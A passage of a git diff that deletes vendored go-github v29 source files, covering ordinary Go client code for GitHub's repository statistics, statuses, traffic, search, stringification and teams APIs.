*Timestamp `json:"w,omitempty"` - Additions *int `json:"a,omitempty"` - Deletions *int `json:"d,omitempty"` - Commits *int `json:"c,omitempty"` -} - -func (w WeeklyStats) String() string { - return Stringify(w) -} - -// ListContributorsStats gets a repo's contributor list with additions, -// deletions and commit counts. -// -// If this is the first time these statistics are requested for the given -// repository, this method will return an *AcceptedError and a status code of -// 202. This is because this is the status that GitHub returns to signify that -// it is now computing the requested statistics. A follow up request, after a -// delay of a second or so, should result in a successful request. -// -// GitHub API docs: https://developer.github.com/v3/repos/statistics/#contributors -func (s *RepositoriesService) ListContributorsStats(ctx context.Context, owner, repo string) ([]*ContributorStats, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/stats/contributors", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var contributorStats []*ContributorStats - resp, err := s.client.Do(ctx, req, &contributorStats) - if err != nil { - return nil, resp, err - } - - return contributorStats, resp, nil -} - -// WeeklyCommitActivity represents the weekly commit activity for a repository. -// The days array is a group of commits per day, starting on Sunday. -type WeeklyCommitActivity struct { - Days []int `json:"days,omitempty"` - Total *int `json:"total,omitempty"` - Week *Timestamp `json:"week,omitempty"` -} - -func (w WeeklyCommitActivity) String() string { - return Stringify(w) -} - -// ListCommitActivity returns the last year of commit activity -// grouped by week. The days array is a group of commits per day, -// starting on Sunday. -// -// If this is the first time these statistics are requested for the given -// repository, this method will return an *AcceptedError and a status code of -// 202. This is because this is the status that GitHub returns to signify that -// it is now computing the requested statistics. A follow up request, after a -// delay of a second or so, should result in a successful request. -// -// GitHub API docs: https://developer.github.com/v3/repos/statistics/#commit-activity -func (s *RepositoriesService) ListCommitActivity(ctx context.Context, owner, repo string) ([]*WeeklyCommitActivity, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/stats/commit_activity", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var weeklyCommitActivity []*WeeklyCommitActivity - resp, err := s.client.Do(ctx, req, &weeklyCommitActivity) - if err != nil { - return nil, resp, err - } - - return weeklyCommitActivity, resp, nil -} - -// ListCodeFrequency returns a weekly aggregate of the number of additions and -// deletions pushed to a repository. Returned WeeklyStats will contain -// additions and deletions, but not total commits. -// -// If this is the first time these statistics are requested for the given -// repository, this method will return an *AcceptedError and a status code of -// 202. This is because this is the status that GitHub returns to signify that -// it is now computing the requested statistics. A follow up request, after a -// delay of a second or so, should result in a successful request. -// -// GitHub API docs: https://developer.github.com/v3/repos/statistics/#code-frequency -func (s *RepositoriesService) ListCodeFrequency(ctx context.Context, owner, repo string) ([]*WeeklyStats, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/stats/code_frequency", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var weeks [][]int - resp, err := s.client.Do(ctx, req, &weeks) - - // convert int slices into WeeklyStats - var stats []*WeeklyStats - for _, week := range weeks { - if len(week) != 3 { - continue - } - stat := &WeeklyStats{ - Week: &Timestamp{time.Unix(int64(week[0]), 0)}, - Additions: Int(week[1]), - Deletions: Int(week[2]), - } - stats = append(stats, stat) - } - - return stats, resp, err -} - -// RepositoryParticipation is the number of commits by everyone -// who has contributed to the repository (including the owner) -// as well as the number of commits by the owner themself. -type RepositoryParticipation struct { - All []int `json:"all,omitempty"` - Owner []int `json:"owner,omitempty"` -} - -func (r RepositoryParticipation) String() string { - return Stringify(r) -} - -// ListParticipation returns the total commit counts for the 'owner' -// and total commit counts in 'all'. 'all' is everyone combined, -// including the 'owner' in the last 52 weeks. If you’d like to get -// the commit counts for non-owners, you can subtract 'all' from 'owner'. -// -// The array order is oldest week (index 0) to most recent week. -// -// If this is the first time these statistics are requested for the given -// repository, this method will return an *AcceptedError and a status code of -// 202. This is because this is the status that GitHub returns to signify that -// it is now computing the requested statistics. A follow up request, after a -// delay of a second or so, should result in a successful request. -// -// GitHub API docs: https://developer.github.com/v3/repos/statistics/#participation -func (s *RepositoriesService) ListParticipation(ctx context.Context, owner, repo string) (*RepositoryParticipation, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/stats/participation", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - participation := new(RepositoryParticipation) - resp, err := s.client.Do(ctx, req, participation) - if err != nil { - return nil, resp, err - } - - return participation, resp, nil -} - -// PunchCard represents the number of commits made during a given hour of a -// day of the week. -type PunchCard struct { - Day *int // Day of the week (0-6: =Sunday - Saturday). - Hour *int // Hour of day (0-23). - Commits *int // Number of commits. -} - -// ListPunchCard returns the number of commits per hour in each day. -// -// If this is the first time these statistics are requested for the given -// repository, this method will return an *AcceptedError and a status code of -// 202. This is because this is the status that GitHub returns to signify that -// it is now computing the requested statistics. A follow up request, after a -// delay of a second or so, should result in a successful request. -// -// GitHub API docs: https://developer.github.com/v3/repos/statistics/#punch-card -func (s *RepositoriesService) ListPunchCard(ctx context.Context, owner, repo string) ([]*PunchCard, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/stats/punch_card", owner, repo) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var results [][]int - resp, err := s.client.Do(ctx, req, &results) - - // convert int slices into Punchcards - var cards []*PunchCard - for _, result := range results { - if len(result) != 3 { - continue - } - card := &PunchCard{ - Day: Int(result[0]), - Hour: Int(result[1]), - Commits: Int(result[2]), - } - cards = append(cards, card) - } - - return cards, resp, err -} diff --git a/vendor/github.com/google/go-github/v29/github/repos_statuses.go b/vendor/github.com/google/go-github/v29/github/repos_statuses.go deleted file mode 100644 index 6d6a0d2fe4..0000000000 --- a/vendor/github.com/google/go-github/v29/github/repos_statuses.go +++ /dev/null @@ -1,131 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "net/url" - "time" -) - -// RepoStatus represents the status of a repository at a particular reference. -type RepoStatus struct { - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - URL *string `json:"url,omitempty"` - - // State is the current state of the repository. Possible values are: - // pending, success, error, or failure. - State *string `json:"state,omitempty"` - - // TargetURL is the URL of the page representing this status. It will be - // linked from the GitHub UI to allow users to see the source of the status. - TargetURL *string `json:"target_url,omitempty"` - - // Description is a short high level summary of the status. - Description *string `json:"description,omitempty"` - - // A string label to differentiate this status from the statuses of other systems. - Context *string `json:"context,omitempty"` - - Creator *User `json:"creator,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` - UpdatedAt *time.Time `json:"updated_at,omitempty"` -} - -func (r RepoStatus) String() string { - return Stringify(r) -} - -// ListStatuses lists the statuses of a repository at the specified -// reference. ref can be a SHA, a branch name, or a tag name. -// -// GitHub API docs: https://developer.github.com/v3/repos/statuses/#list-statuses-for-a-specific-ref -func (s *RepositoriesService) ListStatuses(ctx context.Context, owner, repo, ref string, opt *ListOptions) ([]*RepoStatus, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/commits/%v/statuses", owner, repo, url.QueryEscape(ref)) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var statuses []*RepoStatus - resp, err := s.client.Do(ctx, req, &statuses) - if err != nil { - return nil, resp, err - } - - return statuses, resp, nil -} - -// CreateStatus creates a new status for a repository at the specified -// reference. Ref can be a SHA, a branch name, or a tag name. -// -// GitHub API docs: https://developer.github.com/v3/repos/statuses/#create-a-status -func (s *RepositoriesService) CreateStatus(ctx context.Context, owner, repo, ref string, status *RepoStatus) (*RepoStatus, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/statuses/%v", owner, repo, url.QueryEscape(ref)) - req, err := s.client.NewRequest("POST", u, status) - if err != nil { - return nil, nil, err - } - - repoStatus := new(RepoStatus) - resp, err := s.client.Do(ctx, req, repoStatus) - if err != nil { - return nil, resp, err - } - - return repoStatus, resp, nil -} - -// CombinedStatus represents the combined status of a repository at a particular reference. -type CombinedStatus struct { - // State is the combined state of the repository. Possible values are: - // failure, pending, or success. - State *string `json:"state,omitempty"` - - Name *string `json:"name,omitempty"` - SHA *string `json:"sha,omitempty"` - TotalCount *int `json:"total_count,omitempty"` - Statuses []RepoStatus `json:"statuses,omitempty"` - - CommitURL *string `json:"commit_url,omitempty"` - RepositoryURL *string `json:"repository_url,omitempty"` -} - -func (s CombinedStatus) String() string { - return Stringify(s) -} - -// GetCombinedStatus returns the combined status of a repository at the specified -// reference. ref can be a SHA, a branch name, or a tag name. -// -// GitHub API docs: https://developer.github.com/v3/repos/statuses/#get-the-combined-status-for-a-specific-ref -func (s *RepositoriesService) GetCombinedStatus(ctx context.Context, owner, repo, ref string, opt *ListOptions) (*CombinedStatus, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/commits/%v/status", owner, repo, url.QueryEscape(ref)) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - status := new(CombinedStatus) - resp, err := s.client.Do(ctx, req, status) - if err != nil { - return nil, resp, err - } - - return status, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/repos_traffic.go b/vendor/github.com/google/go-github/v29/github/repos_traffic.go deleted file mode 100644 index fb1c97648a..0000000000 --- a/vendor/github.com/google/go-github/v29/github/repos_traffic.go +++ /dev/null @@ -1,141 +0,0 @@ -// Copyright 2016 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" -) - -// TrafficReferrer represent information about traffic from a referrer . -type TrafficReferrer struct { - Referrer *string `json:"referrer,omitempty"` - Count *int `json:"count,omitempty"` - Uniques *int `json:"uniques,omitempty"` -} - -// TrafficPath represent information about the traffic on a path of the repo. -type TrafficPath struct { - Path *string `json:"path,omitempty"` - Title *string `json:"title,omitempty"` - Count *int `json:"count,omitempty"` - Uniques *int `json:"uniques,omitempty"` -} - -// TrafficData represent information about a specific timestamp in views or clones list. -type TrafficData struct { - Timestamp *Timestamp `json:"timestamp,omitempty"` - Count *int `json:"count,omitempty"` - Uniques *int `json:"uniques,omitempty"` -} - -// TrafficViews represent information about the number of views in the last 14 days. -type TrafficViews struct { - Views []*TrafficData `json:"views,omitempty"` - Count *int `json:"count,omitempty"` - Uniques *int `json:"uniques,omitempty"` -} - -// TrafficClones represent information about the number of clones in the last 14 days. -type TrafficClones struct { - Clones []*TrafficData `json:"clones,omitempty"` - Count *int `json:"count,omitempty"` - Uniques *int `json:"uniques,omitempty"` -} - -// TrafficBreakdownOptions specifies the parameters to methods that support breakdown per day or week. -// Can be one of: day, week. Default: day. -type TrafficBreakdownOptions struct { - Per string `url:"per,omitempty"` -} - -// ListTrafficReferrers list the top 10 referrers over the last 14 days. -// -// GitHub API docs: https://developer.github.com/v3/repos/traffic/#list-referrers -func (s *RepositoriesService) ListTrafficReferrers(ctx context.Context, owner, repo string) ([]*TrafficReferrer, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/traffic/popular/referrers", owner, repo) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var trafficReferrers []*TrafficReferrer - resp, err := s.client.Do(ctx, req, &trafficReferrers) - if err != nil { - return nil, resp, err - } - - return trafficReferrers, resp, nil -} - -// ListTrafficPaths list the top 10 popular content over the last 14 days. -// -// GitHub API docs: https://developer.github.com/v3/repos/traffic/#list-paths -func (s *RepositoriesService) ListTrafficPaths(ctx context.Context, owner, repo string) ([]*TrafficPath, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/traffic/popular/paths", owner, repo) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var paths []*TrafficPath - resp, err := s.client.Do(ctx, req, &paths) - if err != nil { - return nil, resp, err - } - - return paths, resp, nil -} - -// ListTrafficViews get total number of views for the last 14 days and breaks it down either per day or week. -// -// GitHub API docs: https://developer.github.com/v3/repos/traffic/#views -func (s *RepositoriesService) ListTrafficViews(ctx context.Context, owner, repo string, opt *TrafficBreakdownOptions) (*TrafficViews, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/traffic/views", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - trafficViews := new(TrafficViews) - resp, err := s.client.Do(ctx, req, &trafficViews) - if err != nil { - return nil, resp, err - } - - return trafficViews, resp, nil -} - -// ListTrafficClones get total number of clones for the last 14 days and breaks it down either per day or week for the last 14 days. -// -// GitHub API docs: https://developer.github.com/v3/repos/traffic/#views -func (s *RepositoriesService) ListTrafficClones(ctx context.Context, owner, repo string, opt *TrafficBreakdownOptions) (*TrafficClones, *Response, error) { - u := fmt.Sprintf("repos/%v/%v/traffic/clones", owner, repo) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - trafficClones := new(TrafficClones) - resp, err := s.client.Do(ctx, req, &trafficClones) - if err != nil { - return nil, resp, err - } - - return trafficClones, resp, nil -} diff --git a/vendor/github.com/google/go-github/v29/github/search.go b/vendor/github.com/google/go-github/v29/github/search.go deleted file mode 100644 index d294a4f06e..0000000000 --- a/vendor/github.com/google/go-github/v29/github/search.go +++ /dev/null @@ -1,294 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "strconv" - - qs "github.com/google/go-querystring/query" -) - -// SearchService provides access to the search related functions -// in the GitHub API. -// -// Each method takes a query string defining the search keywords and any search qualifiers. -// For example, when searching issues, the query "gopher is:issue language:go" will search -// for issues containing the word "gopher" in Go repositories. The method call -// opts := &github.SearchOptions{Sort: "created", Order: "asc"} -// cl.Search.Issues(ctx, "gopher is:issue language:go", opts) -// will search for such issues, sorting by creation date in ascending order -// (i.e., oldest first). -// -// If query includes multiple conditions, it MUST NOT include "+" as the condition separator. -// You have to use " " as the separator instead. -// For example, querying with "language:c++" and "leveldb", then query should be -// "language:c++ leveldb" but not "language:c+++leveldb". -// -// GitHub API docs: https://developer.github.com/v3/search/ -type SearchService service - -// SearchOptions specifies optional parameters to the SearchService methods. -type SearchOptions struct { - // How to sort the search results. Possible values are: - // - for repositories: stars, fork, updated - // - for commits: author-date, committer-date - // - for code: indexed - // - for issues: comments, created, updated - // - for users: followers, repositories, joined - // - // Default is to sort by best match. - Sort string `url:"sort,omitempty"` - - // Sort order if sort parameter is provided. Possible values are: asc, - // desc. Default is desc. - Order string `url:"order,omitempty"` - - // Whether to retrieve text match metadata with a query - TextMatch bool `url:"-"` - - ListOptions -} - -// Common search parameters. -type searchParameters struct { - Query string - RepositoryID *int64 // Sent if non-nil. -} - -// RepositoriesSearchResult represents the result of a repositories search. -type RepositoriesSearchResult struct { - Total *int `json:"total_count,omitempty"` - IncompleteResults *bool `json:"incomplete_results,omitempty"` - Repositories []Repository `json:"items,omitempty"` -} - -// Repositories searches repositories via various criteria. -// -// GitHub API docs: https://developer.github.com/v3/search/#search-repositories -func (s *SearchService) Repositories(ctx context.Context, query string, opt *SearchOptions) (*RepositoriesSearchResult, *Response, error) { - result := new(RepositoriesSearchResult) - resp, err := s.search(ctx, "repositories", &searchParameters{Query: query}, opt, result) - return result, resp, err -} - -// TopicsSearchResult represents the result of a topics search. -type TopicsSearchResult struct { - Total *int `json:"total_count,omitempty"` - IncompleteResults *bool `json:"incomplete_results,omitempty"` - Topics []*TopicResult `json:"items,omitempty"` -} - -type TopicResult struct { - Name *string `json:"name,omitempty"` - DisplayName *string `json:"display_name,omitempty"` - ShortDescription *string `json:"short_description,omitempty"` - Description *string `json:"description,omitempty"` - CreatedBy *string `json:"created_by,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - UpdatedAt *string `json:"updated_at,omitempty"` - Featured *bool `json:"featured,omitempty"` - Curated *bool `json:"curated,omitempty"` - Score *float64 `json:"score,omitempty"` -} - -// Topics finds topics via various criteria. Results are sorted by best match. -// Please see https://help.github.com/en/articles/searching-topics for more -// information about search qualifiers. -// -// GitHub API docs: https://developer.github.com/v3/search/#search-topics -func (s *SearchService) Topics(ctx context.Context, query string, opt *SearchOptions) (*TopicsSearchResult, *Response, error) { - result := new(TopicsSearchResult) - resp, err := s.search(ctx, "topics", &searchParameters{Query: query}, opt, result) - return result, resp, err -} - -// CommitsSearchResult represents the result of a commits search. -type CommitsSearchResult struct { - Total *int `json:"total_count,omitempty"` - IncompleteResults *bool `json:"incomplete_results,omitempty"` - Commits []*CommitResult `json:"items,omitempty"` -} - -// CommitResult represents a commit object as returned in commit search endpoint response. -type CommitResult struct { - SHA *string `json:"sha,omitempty"` - Commit *Commit `json:"commit,omitempty"` - Author *User `json:"author,omitempty"` - Committer *User `json:"committer,omitempty"` - Parents []*Commit `json:"parents,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - URL *string `json:"url,omitempty"` - CommentsURL *string `json:"comments_url,omitempty"` - - Repository *Repository `json:"repository,omitempty"` - Score *float64 `json:"score,omitempty"` -} - -// Commits searches commits via various criteria. -// -// GitHub API docs: https://developer.github.com/v3/search/#search-commits -func (s *SearchService) Commits(ctx context.Context, query string, opt *SearchOptions) (*CommitsSearchResult, *Response, error) { - result := new(CommitsSearchResult) - resp, err := s.search(ctx, "commits", &searchParameters{Query: query}, opt, result) - return result, resp, err -} - -// IssuesSearchResult represents the result of an issues search. -type IssuesSearchResult struct { - Total *int `json:"total_count,omitempty"` - IncompleteResults *bool `json:"incomplete_results,omitempty"` - Issues []Issue `json:"items,omitempty"` -} - -// Issues searches issues via various criteria. -// -// GitHub API docs: https://developer.github.com/v3/search/#search-issues -func (s *SearchService) Issues(ctx context.Context, query string, opt *SearchOptions) (*IssuesSearchResult, *Response, error) { - result := new(IssuesSearchResult) - resp, err := s.search(ctx, "issues", &searchParameters{Query: query}, opt, result) - return result, resp, err -} - -// UsersSearchResult represents the result of a users search. -type UsersSearchResult struct { - Total *int `json:"total_count,omitempty"` - IncompleteResults *bool `json:"incomplete_results,omitempty"` - Users []User `json:"items,omitempty"` -} - -// Users searches users via various criteria. -// -// GitHub API docs: https://developer.github.com/v3/search/#search-users -func (s *SearchService) Users(ctx context.Context, query string, opt *SearchOptions) (*UsersSearchResult, *Response, error) { - result := new(UsersSearchResult) - resp, err := s.search(ctx, "users", &searchParameters{Query: query}, opt, result) - return result, resp, err -} - -// Match represents a single text match. -type Match struct { - Text *string `json:"text,omitempty"` - Indices []int `json:"indices,omitempty"` -} - -// TextMatch represents a text match for a SearchResult -type TextMatch struct { - ObjectURL *string `json:"object_url,omitempty"` - ObjectType *string `json:"object_type,omitempty"` - Property *string `json:"property,omitempty"` - Fragment *string `json:"fragment,omitempty"` - Matches []Match `json:"matches,omitempty"` -} - -func (tm TextMatch) String() string { - return Stringify(tm) -} - -// CodeSearchResult represents the result of a code search. -type CodeSearchResult struct { - Total *int `json:"total_count,omitempty"` - IncompleteResults *bool `json:"incomplete_results,omitempty"` - CodeResults []CodeResult `json:"items,omitempty"` -} - -// CodeResult represents a single search result. -type CodeResult struct { - Name *string `json:"name,omitempty"` - Path *string `json:"path,omitempty"` - SHA *string `json:"sha,omitempty"` - HTMLURL *string `json:"html_url,omitempty"` - Repository *Repository `json:"repository,omitempty"` - TextMatches []TextMatch `json:"text_matches,omitempty"` -} - -func (c CodeResult) String() string { - return Stringify(c) -} - -// Code searches code via various criteria. -// -// GitHub API docs: https://developer.github.com/v3/search/#search-code -func (s *SearchService) Code(ctx context.Context, query string, opt *SearchOptions) (*CodeSearchResult, *Response, error) { - result := new(CodeSearchResult) - resp, err := s.search(ctx, "code", &searchParameters{Query: query}, opt, result) - return result, resp, err -} - -// LabelsSearchResult represents the result of a code search. -type LabelsSearchResult struct { - Total *int `json:"total_count,omitempty"` - IncompleteResults *bool `json:"incomplete_results,omitempty"` - Labels []*LabelResult `json:"items,omitempty"` -} - -// LabelResult represents a single search result. -type LabelResult struct { - ID *int64 `json:"id,omitempty"` - URL *string `json:"url,omitempty"` - Name *string `json:"name,omitempty"` - Color *string `json:"color,omitempty"` - Default *bool `json:"default,omitempty"` - Description *string `json:"description,omitempty"` - Score *float64 `json:"score,omitempty"` -} - -func (l LabelResult) String() string { - return Stringify(l) -} - -// Labels searches labels in the repository with ID repoID via various criteria. -// -// GitHub API docs: https://developer.github.com/v3/search/#search-labels -func (s *SearchService) Labels(ctx context.Context, repoID int64, query string, opt *SearchOptions) (*LabelsSearchResult, *Response, error) { - result := new(LabelsSearchResult) - resp, err := s.search(ctx, "labels", &searchParameters{RepositoryID: &repoID, Query: query}, opt, result) - return result, resp, err -} - -// Helper function that executes search queries against different -// GitHub search types (repositories, commits, code, issues, users, labels) -// -// If searchParameters.Query includes multiple condition, it MUST NOT include "+" as condition separator. -// For example, querying with "language:c++" and "leveldb", then searchParameters.Query should be "language:c++ leveldb" but not "language:c+++leveldb". -func (s *SearchService) search(ctx context.Context, searchType string, parameters *searchParameters, opt *SearchOptions, result interface{}) (*Response, error) { - params, err := qs.Values(opt) - if err != nil { - return nil, err - } - if parameters.RepositoryID != nil { - params.Set("repository_id", strconv.FormatInt(*parameters.RepositoryID, 10)) - } - params.Set("q", parameters.Query) - u := fmt.Sprintf("search/%s?%s", searchType, params.Encode()) - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, err - } - - switch { - case searchType == "commits": - // Accept header for search commits preview endpoint - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeCommitSearchPreview) - case searchType == "topics": - // Accept header for search repositories based on topics preview endpoint - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeTopicsPreview) - case searchType == "repositories": - // Accept header for search repositories based on topics preview endpoint - // TODO: remove custom Accept header when this API fully launches. - req.Header.Set("Accept", mediaTypeTopicsPreview) - case opt != nil && opt.TextMatch: - // Accept header defaults to "application/vnd.github.v3+json" - // We change it here to fetch back text-match metadata - req.Header.Set("Accept", "application/vnd.github.v3.text-match+json") - } - - return s.client.Do(ctx, req, result) -} diff --git a/vendor/github.com/google/go-github/v29/github/strings.go b/vendor/github.com/google/go-github/v29/github/strings.go deleted file mode 100644 index 431e1cc6c1..0000000000 --- a/vendor/github.com/google/go-github/v29/github/strings.go +++ /dev/null @@ -1,93 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "bytes" - "fmt" - "io" - - "reflect" -) - -var timestampType = reflect.TypeOf(Timestamp{}) - -// Stringify attempts to create a reasonable string representation of types in -// the GitHub library. It does things like resolve pointers to their values -// and omits struct fields with nil values. -func Stringify(message interface{}) string { - var buf bytes.Buffer - v := reflect.ValueOf(message) - stringifyValue(&buf, v) - return buf.String() -} - -// stringifyValue was heavily inspired by the goprotobuf library. - -func stringifyValue(w io.Writer, val reflect.Value) { - if val.Kind() == reflect.Ptr && val.IsNil() { - w.Write([]byte("")) - return - } - - v := reflect.Indirect(val) - - switch v.Kind() { - case reflect.String: - fmt.Fprintf(w, `"%s"`, v) - case reflect.Slice: - w.Write([]byte{'['}) - for i := 0; i < v.Len(); i++ { - if i > 0 { - w.Write([]byte{' '}) - } - - stringifyValue(w, v.Index(i)) - } - - w.Write([]byte{']'}) - return - case reflect.Struct: - if v.Type().Name() != "" { - w.Write([]byte(v.Type().String())) - } - - // special handling of Timestamp values - if v.Type() == timestampType { - fmt.Fprintf(w, "{%s}", v.Interface()) - return - } - - w.Write([]byte{'{'}) - - var sep bool - for i := 0; i < v.NumField(); i++ { - fv := v.Field(i) - if fv.Kind() == reflect.Ptr && fv.IsNil() { - continue - } - if fv.Kind() == reflect.Slice && fv.IsNil() { - continue - } - - if sep { - w.Write([]byte(", ")) - } else { - sep = true - } - - w.Write([]byte(v.Type().Field(i).Name)) - w.Write([]byte{':'}) - stringifyValue(w, fv) - } - - w.Write([]byte{'}'}) - default: - if v.CanInterface() { - fmt.Fprint(w, v.Interface()) - } - } -} diff --git a/vendor/github.com/google/go-github/v29/github/teams.go b/vendor/github.com/google/go-github/v29/github/teams.go deleted file mode 100644 index 2f7c6cb76e..0000000000 --- a/vendor/github.com/google/go-github/v29/github/teams.go +++ /dev/null @@ -1,570 +0,0 @@ -// Copyright 2018 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -package github - -import ( - "context" - "fmt" - "net/http" - "strings" - "time" -) - -// TeamsService provides access to the team-related functions -// in the GitHub API. -// -// GitHub API docs: https://developer.github.com/v3/teams/ -type TeamsService service - -// Team represents a team within a GitHub organization. Teams are used to -// manage access to an organization's repositories. -type Team struct { - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - Name *string `json:"name,omitempty"` - Description *string `json:"description,omitempty"` - URL *string `json:"url,omitempty"` - Slug *string `json:"slug,omitempty"` - - // Permission specifies the default permission for repositories owned by the team. - Permission *string `json:"permission,omitempty"` - - // Privacy identifies the level of privacy this team should have. - // Possible values are: - // secret - only visible to organization owners and members of this team - // closed - visible to all members of this organization - // Default is "secret". - Privacy *string `json:"privacy,omitempty"` - - MembersCount *int `json:"members_count,omitempty"` - ReposCount *int `json:"repos_count,omitempty"` - Organization *Organization `json:"organization,omitempty"` - MembersURL *string `json:"members_url,omitempty"` - RepositoriesURL *string `json:"repositories_url,omitempty"` - Parent *Team `json:"parent,omitempty"` - - // LDAPDN is only available in GitHub Enterprise and when the team - // membership is synchronized with LDAP. - LDAPDN *string `json:"ldap_dn,omitempty"` -} - -func (t Team) String() string { - return Stringify(t) -} - -// Invitation represents a team member's invitation status. -type Invitation struct { - ID *int64 `json:"id,omitempty"` - NodeID *string `json:"node_id,omitempty"` - Login *string `json:"login,omitempty"` - Email *string `json:"email,omitempty"` - // Role can be one of the values - 'direct_member', 'admin', 'billing_manager', 'hiring_manager', or 'reinstate'. - Role *string `json:"role,omitempty"` - CreatedAt *time.Time `json:"created_at,omitempty"` - Inviter *User `json:"inviter,omitempty"` - TeamCount *int `json:"team_count,omitempty"` - InvitationTeamURL *string `json:"invitation_team_url,omitempty"` -} - -func (i Invitation) String() string { - return Stringify(i) -} - -// ListTeams lists all of the teams for an organization. -// -// GitHub API docs: https://developer.github.com/v3/teams/#list-teams -func (s *TeamsService) ListTeams(ctx context.Context, org string, opt *ListOptions) ([]*Team, *Response, error) { - u := fmt.Sprintf("orgs/%v/teams", org) - u, err := addOptions(u, opt) - if err != nil { - return nil, nil, err - } - - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - var teams []*Team - resp, err := s.client.Do(ctx, req, &teams) - if err != nil { - return nil, resp, err - } - - return teams, resp, nil -} - -// GetTeam fetches a team by ID. -// -// GitHub API docs: https://developer.github.com/v3/teams/#get-team -func (s *TeamsService) GetTeam(ctx context.Context, team int64) (*Team, *Response, error) { - u := fmt.Sprintf("teams/%v", team) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - t := new(Team) - resp, err := s.client.Do(ctx, req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, nil -} - -// GetTeamBySlug fetches a team by slug. -// -// GitHub API docs: https://developer.github.com/v3/teams/#get-team-by-name -func (s *TeamsService) GetTeamBySlug(ctx context.Context, org, slug string) (*Team, *Response, error) { - u := fmt.Sprintf("orgs/%v/teams/%v", org, slug) - req, err := s.client.NewRequest("GET", u, nil) - if err != nil { - return nil, nil, err - } - - t := new(Team) - resp, err := s.client.Do(ctx, req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, nil -} - -// NewTeam represents a team to be created or modified. -type NewTeam struct { - Name string `json:"name"` // Name of the team. (Required.) - Description *string `json:"description,omitempty"` - Maintainers []string `json:"maintainers,omitempty"` - RepoNames []string `json:"repo_names,omitempty"` - ParentTeamID *int64 `json:"parent_team_id,omitempty"` - - // Deprecated: Permission is deprecated when creating or editing a team in an org - // using the new GitHub permission model. It no longer identifies the - // permission a team has on its repos, but only specifies the default - // permission a repo is initially added with. Avoid confusion by - // specifying a permission value when calling AddTeamRepo. - Permission *string `json:"permission,omitempty"` - - // Privacy identifies the level of privacy this team should have. - // Possible values are: - // secret - only visible to organization owners and members of this team - // closed - visible to all members of this organization - // Default is "secret". - Privacy *string `json:"privacy,omitempty"` - - // LDAPDN may be used in GitHub Enterprise when the team membership - // is synchronized with LDAP. - LDAPDN *string `json:"ldap_dn,omitempty"` -} - -func (s NewTeam) String() string { - return Stringify(s) -} - -// CreateTeam creates a new team within an organization. -// -// GitHub API docs: https://developer.github.com/v3/teams/#create-team -func (s *TeamsService) CreateTeam(ctx context.Context, org string, team NewTeam) (*Team, *Response, error) { - u := fmt.Sprintf("orgs/%v/teams", org) - req, err := s.client.NewRequest("POST", u, team) - if err != nil { - return nil, nil, err - } - - t := new(Team) - resp, err := s.client.Do(ctx, req, t) - if err != nil { - return nil, resp, err - } - - return t, resp, nil -} - -// newTeamNoParent is the same as NewTeam but ensures that the -// "parent_team_id" field will be null. It is for internal use -// only and should not be exported. -type newTeamNoParent struct { - Name string `json:"name"` - Description *string `json:"description,omitempty"` - Maintainers []string `json:"maintainers,omitempty"` - RepoNames []string `json:"repo_names,omitempty"` - ParentTeamID *int64 `json:"parent_team_id"` // This will be "null" - Privacy *string `json:"privacy,omitempty"` - LDAPDN *string `json:"ldap_dn,omitempty"` -} - -// copyNewTeamWithoutParent is used 